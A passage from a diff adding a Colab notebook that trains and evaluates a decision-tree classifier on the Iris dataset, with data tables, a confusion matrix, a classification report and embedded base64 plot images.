"id": "mkgLEutRt9J7", + "outputId": "6d550863-a36c-4c3c-e496-345b7742b456" + }, + "execution_count": 20, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " Sepal length Sepal width Petal length Petal width\n", + "0 5.1 3.5 1.4 0.2\n", + "1 4.9 3.0 1.4 0.2\n", + "2 4.7 3.2 1.3 0.2\n", + "3 4.6 3.1 1.5 0.2\n", + "4 5.0 3.6 1.4 0.2\n", + ".. ... ... ... ...\n", + "145 6.7 3.0 5.2 2.3\n", + "146 6.3 2.5 5.0 1.9\n", + "147 6.5 3.0 5.2 2.0\n", + "148 6.2 3.4 5.4 2.3\n", + "149 5.9 3.0 5.1 1.8\n", + "\n", + "[150 rows x 4 columns]" + ], + "text/html": [ + "\n", + "
\n", + "
\n", + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
Sepal lengthSepal widthPetal lengthPetal width
05.13.51.40.2
14.93.01.40.2
24.73.21.30.2
34.63.11.50.2
45.03.61.40.2
...............
1456.73.05.22.3
1466.32.55.01.9
1476.53.05.22.0
1486.23.45.42.3
1495.93.05.11.8
\n", + "

150 rows × 4 columns

\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ] + }, + "metadata": {}, + "execution_count": 20 + } + ] + }, + { + "cell_type": "code", + "source": [ + "X_train,X_test,y_train,y_test = train_test_split(X,y,test_size=0.1,random_state=101)\n", + "X_train\n" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 424 + }, + "id": "eqpoDfnNt_eh", + "outputId": "38b99842-2607-440f-f363-5eedce9f89be" + }, + "execution_count": 21, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " Sepal length Sepal width Petal length Petal width\n", + "74 6.4 2.9 4.3 1.3\n", + "88 5.6 3.0 4.1 1.3\n", + "96 5.7 2.9 4.2 1.3\n", + "42 4.4 3.2 1.3 0.2\n", + "134 6.1 2.6 5.6 1.4\n", + ".. ... ... ... ...\n", + "63 6.1 2.9 4.7 1.4\n", + "70 5.9 3.2 4.8 1.8\n", + "81 5.5 2.4 3.7 1.0\n", + "11 4.8 3.4 1.6 0.2\n", + "95 5.7 3.0 4.2 1.2\n", + "\n", + "[135 rows x 4 columns]" + ], + "text/html": [ + "\n", + "
\n", + "
\n", + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
Sepal lengthSepal widthPetal lengthPetal width
746.42.94.31.3
885.63.04.11.3
965.72.94.21.3
424.43.21.30.2
1346.12.65.61.4
...............
636.12.94.71.4
705.93.24.81.8
815.52.43.71.0
114.83.41.60.2
955.73.04.21.2
\n", + "

135 rows × 4 columns

\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ] + }, + "metadata": {}, + "execution_count": 21 + } + ] + }, + { + "cell_type": "code", + "source": [ + "X_test.head()" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 206 + }, + "id": "TpQoCPtIuOfh", + "outputId": "fc821a4c-03a7-4089-fcf2-c9ab258b7d40" + }, + "execution_count": 22, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " Sepal length Sepal width Petal length Petal width\n", + "33 5.5 4.2 1.4 0.2\n", + "16 5.4 3.9 1.3 0.4\n", + "43 5.0 3.5 1.6 0.6\n", + "129 7.2 3.0 5.8 1.6\n", + "50 7.0 3.2 4.7 1.4" + ], + "text/html": [ + "\n", + "
\n", + "
\n", + "
\n", + "\n", + "\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
Sepal lengthSepal widthPetal lengthPetal width
335.54.21.40.2
165.43.91.30.4
435.03.51.60.6
1297.23.05.81.6
507.03.24.71.4
\n", + "
\n", + " \n", + " \n", + " \n", + "\n", + " \n", + "
\n", + "
\n", + " " + ] + }, + "metadata": {}, + "execution_count": 22 + } + ] + }, + { + "cell_type": "code", + "source": [ + "y_test" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Bnp1aMcAuPT_", + "outputId": "b71def37-d718-4f6c-debb-b3445d5822aa" + }, + "execution_count": 23, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "33 1\n", + "16 1\n", + "43 1\n", + "129 3\n", + "50 2\n", + "123 3\n", + "68 2\n", + "53 2\n", + "146 3\n", + "1 1\n", + "147 3\n", + "32 1\n", + "31 1\n", + "122 3\n", + "127 3\n", + "Name: Class, dtype: int64" + ] + }, + "metadata": {}, + "execution_count": 23 + } + ] + }, + { + "cell_type": "code", + "source": [ + "y_train" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "XaAy0WaquRf4", + "outputId": "30093067-704e-4aa1-91d9-56cf7fc1cde0" + }, + "execution_count": 24, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "74 2\n", + "88 2\n", + "96 2\n", + "42 1\n", + "134 3\n", + " ..\n", + "63 2\n", + "70 2\n", + "81 2\n", + "11 1\n", + "95 2\n", + "Name: Class, Length: 135, dtype: int64" + ] + }, + "metadata": {}, + "execution_count": 24 + } + ] + }, + { + "cell_type": "code", + "source": [ + "model = DecisionTreeClassifier()" + ], + "metadata": { + "id": "X4TCVT3FuTwX" + }, + "execution_count": 25, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "model.fit(X_train,y_train)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "zzZXQIiquaV8", + "outputId": "2243745f-e865-4ede-c8cb-b1a9bb26c9dc" + }, + "execution_count": 26, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "DecisionTreeClassifier()" + ] + }, + "metadata": {}, + "execution_count": 26 + } + ] + }, + { + "cell_type": "code", + "source": [ + "y_pred = model.predict(X_test)" + ], + "metadata": { + "id": "VqQc2a58udVV" + }, + "execution_count": 27, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "y_pred" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "0rqRNcR8uidS", + "outputId": "dfd30b10-802c-40c5-b4e7-f7db77aebc68" + }, + "execution_count": 28, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([1, 1, 1, 2, 2, 3, 2, 2, 3, 1, 3, 1, 1, 3, 3])" + ] + }, + "metadata": {}, + "execution_count": 28 + } + ] + }, + { + "cell_type": "markdown", + "source": [ + "#**Accuracy**" + ], + "metadata": { + "id": "17ZlSgkPungg" + } + }, + { + "cell_type": "code", + "source": [ + "from sklearn.metrics import confusion_matrix" + ], + "metadata": { + "id": "N20GWQJRujoD" + }, + "execution_count": 29, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "conf = confusion_matrix(y_test,y_pred)\n", + "conf" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "FRJtkcn-urUM", + "outputId": "25681e8b-ea73-4527-9ccd-3d69bb56ae76" + }, + "execution_count": 30, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([[6, 0, 0],\n", + " [0, 3, 0],\n", + " [0, 1, 5]])" + ] + }, + "metadata": {}, + "execution_count": 30 + } + ] + }, + { + "cell_type": "code", + "source": [ + "sns.heatmap(data=conf,annot=True)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 287 + }, + "id": "g72YQ8TcuxJE", + "outputId": "b3d32bb0-931f-4c7c-8ecd-eba476caad2d" + }, + "execution_count": 31, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 31 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
" + ], + "image/png": "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\n" + }, + "metadata": { + "needs_background": "light" + } + } + ] + }, + { + "cell_type": "code", + "source": [ + "model.score(X_test,y_test)*100" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "nb9ckmmbux3z", + "outputId": "764187ea-ee98-47f1-a5c1-df959a0326f8" + }, + "execution_count": 32, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "93.33333333333333" + ] + }, + "metadata": {}, + "execution_count": 32 + } + ] + }, + { + "cell_type": "code", + "source": [ + "from sklearn import metrics\n", + "print('Accuracy Score:', metrics.accuracy_score(y_test, y_pred))" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ltr-QeM4u1UU", + "outputId": "709d993d-f318-4876-967e-f1812b8604b8" + }, + "execution_count": 33, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Accuracy Score: 0.9333333333333333\n" + ] + } + ] + }, + { + "cell_type": "markdown", + "source": [ + "#**Perform Evaluation on Test set**" + ], + "metadata": { + "id": "Wf8Ke93KvCmk" + } + }, + { + "cell_type": "code", + "source": [ + "clr = classification_report(y_test,y_pred)\n", + "print(clr)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "FBb3QvQfu_Ed", + "outputId": "c4fc18a9-443f-44be-e186-fa4dd4ef7941" + }, + "execution_count": 34, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + " precision recall f1-score support\n", + "\n", + " 1 1.00 1.00 1.00 6\n", + " 2 0.75 1.00 0.86 3\n", + " 3 1.00 0.83 0.91 6\n", + "\n", + " accuracy 0.93 15\n", + " macro avg 0.92 0.94 0.92 15\n", + "weighted avg 0.95 0.93 0.94 15\n", + "\n" + ] + } + ] + }, + { + "cell_type": "markdown", + "source": [ + "#**Visualize Decision Tree**" + ], + "metadata": { + "id": "NzRy5aMevNUt" + } + }, + { + "cell_type": "code", + "source": [ + "from IPython.display import Image \n", + "from sklearn.tree import export_graphviz\n", + "import pydotplus" + ], + "metadata": { + "id": "T5DEdC_fvJpQ" + }, + "execution_count": 35, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "import six\n", + "import sys\n", + "sys.modules['sklearn.externals.six'] = six" + ], + "metadata": { + "id": "SJcdC-3OvR-W" + }, + "execution_count": 36, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "from sklearn.externals.six import StringIO" + ], + "metadata": { + "id": "be5YSb8jvUvD" + }, + "execution_count": 37, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "dot_data = StringIO()\n", + "export_graphviz(model, out_file=dot_data, feature_names=df.columns.drop('Class'), \n", + " filled=True, rounded=True,\n", + " special_characters=True)\n", + "graph = pydotplus.graph_from_dot_data(dot_data.getvalue()) \n", + "Image(graph.create_png())" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 653 + }, + "id": "_Dspsz30vY4k", + "outputId": "5a433c7e-71b5-4ac0-ddfe-0b7346db5694" + }, + "execution_count": 38, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "image/png": "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